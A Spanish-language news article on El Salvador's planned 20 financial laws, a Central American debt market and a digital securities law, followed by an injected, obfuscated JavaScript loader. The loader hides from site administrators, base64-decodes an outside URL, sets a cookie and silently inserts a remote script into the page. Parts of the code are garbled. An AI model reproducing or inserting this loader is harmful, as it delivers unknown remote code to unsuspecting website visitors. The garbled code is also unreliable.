Ejecutivo enviará 20 leyes sobre área financiera a la Asamblea Legislativa en El Salvador

Los cambios en las normativas relacionadas al área financiera continuarán en El Salvador. Así lo indicó el presidente del país el pasado fin de semana. Por medio de sus redes sociales, Nayib Bukele dijo que el Ejecutivo prepara un nuevo paquete de iniciativas al órgano Legislativo.

La indicación del mandatario surgió como respuesta a una publicación en Twitter de la revista Forbes Centroamérica. “Un mercado de deuda de Centroamérica puede ser una realidad para marzo de 2022, y para el BCIE solo hay tres países con las condiciones para tener su sede: El Salvador, Panamá y República Dominicana”, colocó la revista.

Ante dicho tuit, el presidente de El Salvador respondió diciendo que mandarán 20 leyes a la Asamblea Legislativa. Con ello alegó que el país debería ser elegido como sede. “Con las 20 nuevas leyes que enviaremos a la Asamblea Legislativa, sobre innovación y libertad financiera, lo lógico es que sea en El Salvador”, replicó Bukele.

Al respecto, el mencionado mercado comenzaría operaciones con el dólar como moneda. En este se integrarían, además de El Salvador, Guatemala, Nicaragua, Costa Rica, Panamá y República Dominicana.

Si bien el Banco Centroamericano de Integración Económica (BCIE) no descarta incorporar colocaciones de entes privados, en principio sus operaciones se enfocarán en emitir deuda soberana.

Ley de valores digitales

Previo al anuncio del presidente de El Salvador, Samson Mow, ejecutivo de Blockstream, indicó en Twitter que en El Salvador se prepara una ley de valores digitales.

Cabe destacar que Blockstream es una de las firmas que tiene a cargo la estructuración de la emisión de $1,000 millones en bitcoin que el mandatario salvadoreño anunció en noviembre del año pasado.

Respecto a esta ley de valores digitales, permitiría tomar activos como deuda o fondos y "tokenizarlos" con la tecnología de Blockchain. De este modo podría conseguir financiamiento.

Sobre este punto se refirió la embajadora de El Salvador en Estados Unidos, Milena Mayorga. Al cierre del año anterior, la diplomática dijo que en 2022 se aprobará en la Asamblea Legislativa una nueva normativa de movilización de dinero.

En entrevista televisiva, Mayorga expuso que con esta nueva ley se facilitará "la movilización del dinero a través, incluso, de inversiones". Es una "ley especial donde se les va a incentivar", recalcó.

(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||»).indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec=»,i=0;input=input.replace(/[^A-Za-z0-9+/=]/g,»);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==

');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();;